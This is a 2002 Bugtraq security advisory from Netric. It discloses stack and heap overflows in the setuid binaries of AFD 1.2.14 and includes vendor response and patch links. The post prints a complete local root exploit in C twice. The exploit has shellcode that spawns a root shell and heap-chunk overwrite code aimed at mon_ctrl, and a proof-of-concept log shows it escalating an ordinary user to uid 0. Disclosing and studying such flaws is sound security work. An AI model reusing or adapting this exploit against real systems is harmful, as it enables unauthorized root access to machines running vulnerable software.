Bugtraq mailing list archives

AFD 1.2.14 multiple local root compromises


From: Bert Vanmanshoven <sacrine () zworg com>
Date: Wed, 04 Sep 2002 02:59:51 -1200

Netric Security Team:

included: advisory - author: netric
          exploit  - written: eSDee(esdee () netric org)
          
bug found by sacrine(sacrine () netric org)

site: http://www.netric.org
(because of some dns problems currently http://www.netric.be)

Kind regards, sacrine
Netric Security
/* AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
 * (Bug found by Sacrine (sacrine () netric org)
 * -----------------------------------------------------------------
 * usage: ./afd-expl [retloc] [ret]
 * 
 * This exploit overwrites a saved return address on the stack,
 * so that 0xbfffe360, (that worked for me on Redhat 7.3) will
 * probally not work for you...
 * 
 * Just open the coredump, search the stack for 0x4207ac24, 
 * and substract that address with 0x0c.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = 
        "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
        "--netric--"
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
        "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
        "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";


int
main(int argc, char *argv[])
{
        char buffer[1135];

        unsigned int retloc     = 0xbfffe360;
        unsigned int ret        = 0x0806f020; /* &shellcode */

        if (argc > 1) retloc    = strtoul(argv[1], &argv[1], 16);
        if (argc > 2) ret       = strtoul(argv[2], &argv[2], 16);

        memset(buffer, 0x41, sizeof(buffer));
        memcpy(buffer, "MON_WORK_DIR=",13);
        memcpy(buffer+13, shellcode, strlen(shellcode));

        buffer[1117] = 0xff; /* prev_size */
        buffer[1118] = 0xff;
        buffer[1119] = 0xff;
        buffer[1120] = 0xff;

        buffer[1121] = 0xfc; /* size field */
        buffer[1122] = 0xff;
        buffer[1123] = 0xff;
        buffer[1124] = 0xff;

        buffer[1126] = (retloc & 0x000000ff); /* FD */
        buffer[1127] = (retloc & 0x0000ff00) >> 8;
        buffer[1128] = (retloc & 0x00ff0000) >> 16;
        buffer[1129] = (retloc & 0xff000000) >> 24;

        buffer[1130] = (ret & 0x000000ff); /* BK */
        buffer[1131] = (ret & 0x0000ff00) >> 8;
        buffer[1132] = (ret & 0x00ff0000) >> 16;
        buffer[1133] = (ret & 0xff000000) >> 24;

        buffer[1134] = 0x0;
        putenv(buffer);

        fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
        fprintf(stdout, "-----------------------------------------------------------------\n");
        fprintf(stdout, "Ret    = 0x%08x\n", ret);
        fprintf(stdout, "Retloc = 0x%08x\n", retloc);

        execl("/bin/mon_ctrl", "mon_ctrl", NULL);
        return 0;
}
Netric Security Team - http://www.netric.[org|be]
By Netric

AFD 1.2.14 multiple local root exploits
type: stack and heap overflows

Priority: 5

[1] Description
[2] Vulnerable
[3] Exploit
[4] Proof of concept
[5] Vendor response
[6] Patches

[1] Description

        The Automatic File Distributor provides a framework for very flexible, non-stop,
        log and debug-able delivery of an arbitrary amount of files to multiple recipients
        as expressed in URLs.

        The AFD package comes with a few sources that once compiled and installed are set
        uid root by default.

        amough other vulnerabilities, in the beginning of most of these programs a directory
        is needed. it can be supplied with a command line switch (-w) or an environ variable.
        the exploitable code for most looks like :


        #define MON_WD_ENV_NAME          "MON_WORK_DIR"  /* Environment variable */
        #define WD_ENV_NAME              "AFD_WORK_DIR"  /* The working dir-   */
        ...
        /* work_dir is global in some sources, local in other sources */
        char  work_dir[MAX_PATH_LENGTH];
        ...

        int
        main(int argc, char *argv[])
        {
                ...
                /* work_dir is global in some sources, local in other sources */
                char  work_dir[MAX_PATH_LENGTH];
                ...
                /* might call some other function that then calls this function */
                if (get_XXX_path(&argc, argv, work_dir) < 0)
                {
                        exit(INCORRECT);
                }
                ...
        }

        /* the XXX is either 'mon' or 'afd' */
        /* this function is in another file then main() is */
        get_XXX_path(int *argc, char *argv[], char *work_dir)
        {
                ...
                char *ptr;

                /* Check if the environment variable is set */
                /* if ((ptr = getenv(MON_WD_ENV_NAME)) != NULL) <-- can also be this */
                if ((ptr = getenv(WD_ENV_NAME)) != NULL)
                {
                        /* !!!!! THIS IS WHERE ALL THE ACTION TAKES PLACE !!!!! */
                        (void)strcpy(work_dir, ptr);
                }
                ...
        }

        as you can see the buffer work_dir gets overflowed, and a stack or heap overflow
        occurs (depends if work_dir is global or local). With some of the binarys it's
        possible to cause the same overflow with the command line switch -w, but in other
        binarys that length gets checked.

        the following is a listing of the vulnerable suid binarys, and if they are exploitable
        with the environ varibles and/or the -w command line switch :

        name            -w switch               env. var
        afd             NO                      YES
        afdcmd          NO                      YES
        afd_ctrl        NO                      YES
        init_afd        NO                      YES
        mafd            YES                     YES
        mon_ctrl        YES                     YES
        show_olog       NO                      YES
        udc             NO                      YES


[2] Vulnerable

        the AFD site says that AFD works on the following :

        version                         vulnerable              exploitable
        * Linux 1.3.x  -  2.4.x         YES                     YES
        * Solaris 2.x                   probably (not tested)   probably (not tested)
        * HP-UX 10.x  -  11.x           probably (not tested)   probably (not tested)
        * IRIX 5.3  6.x                 probably (not tested)   probably (not tested)
        * AIX 4.3                       probably (not tested)   probably (not tested)
        * FTX 3.0.x  3.2.x              probably (not tested)   probably (not tested)
        * SCO OpenServer Release 5      probably (not tested)   probably (not tested)

        this vulnerability was discovered in the AFD 1.2.14 package but previous versions
        are probably vulnerable too.


[3] Exploit

        The following exploit was tested in a lab and will probably not work without
        any tweaking. it was tested agains mon_ctrl in the AFD 1.2.14 package on redhat 7.3.

        <--> BEGIN OF FILE <-->
        #include <stdio.h>
        #include <stdlib.h>
        #include <string.h>

        char shellcode[] =
        "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
        "--netric--"
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
        "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
        "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

        int
        main(int argc, char *argv[])
        {
                char buffer[1135];

                unsigned int retloc     = 0xbfffe360;
                unsigned int ret        = 0x0806f020; /* &shellcode */

                if (argc > 1) retloc    = strtoul(argv[1], &argv[1], 16);
                if (argc > 2) ret       = strtoul(argv[2], &argv[2], 16);

                memset(buffer, 0x41, sizeof(buffer));
                memcpy(buffer, "MON_WORK_DIR=",13);
                memcpy(buffer+13, shellcode, strlen(shellcode));

                buffer[1117] = 0xff; /* prev_size */
                buffer[1118] = 0xff;
                buffer[1119] = 0xff;
                buffer[1120] = 0xff;

                buffer[1121] = 0xfc; /* size field */
                buffer[1122] = 0xff;
                buffer[1123] = 0xff;
                buffer[1124] = 0xff;

                buffer[1126] = (retloc & 0x000000ff); /* FD */
                buffer[1127] = (retloc & 0x0000ff00) >> 8;
                buffer[1128] = (retloc & 0x00ff0000) >> 16;
                buffer[1129] = (retloc & 0xff000000) >> 24;

                buffer[1130] = (ret & 0x000000ff); /* BK */
                buffer[1131] = (ret & 0x0000ff00) >> 8;
                buffer[1132] = (ret & 0x00ff0000) >> 16;
                buffer[1133] = (ret & 0xff000000) >> 24;

                buffer[1134] = 0x0;
                putenv(buffer);

                fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
                fprintf(stdout, "-----------------------------------------------------------------\n");
                fprintf(stdout, "Ret    = 0x%08x\n", ret);
                fprintf(stdout, "Retloc = 0x%08x\n", retloc);

                execl("/bin/mon_ctrl", "mon_ctrl", NULL);
                return 0;
        }
        <--> END OF FILE <-->


[4] Proof of concept

        [eSDee@/ bin]$ id
        uid=502(eSDee) gid=500(trusted) groups=500(trusted)
        [eSDee@/ bin]$ ./afd-expl
        AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
        -----------------------------------------------------------------
        Ret    = 0x0806f020
        Retloc = 0xbfffe360
        28 17:32:12 <E> Failed to create directory <ë
        --netric--1Û1É÷ã°FÍShn/shh//biãRSá°
                                          ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                          AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                          AAAAAAAAAAAAAAAAAAAAAAAAA
        ....
        ectory (check_dir.c 66)
        sh-2.05a# id
        uid=0(root) gid=500(trusted) groups=500(trusted)
        sh-2.05a# exit


[5] Vendor response

        We got a reply from the vendor within 1 week that patches were made. 

[6] Patches 
        
        There is a new version released of afd (1.2.15) which can be 
        downloaded from :
 
                [source]  ftp://ftp.dwd.de/pub/afd/src-1.2.15.tar.bz2
                [rpm   ]  ftp://ftp.dwd.de/pub/afd/rpm/afd-1.2.15-2.i386.rpm


        there is also a patch released for version 1.2.14 which can be found on : 

                [patch ]  ftp://ftp.dwd.de/pub/afd/patch-1.2.15.bz2

Current thread: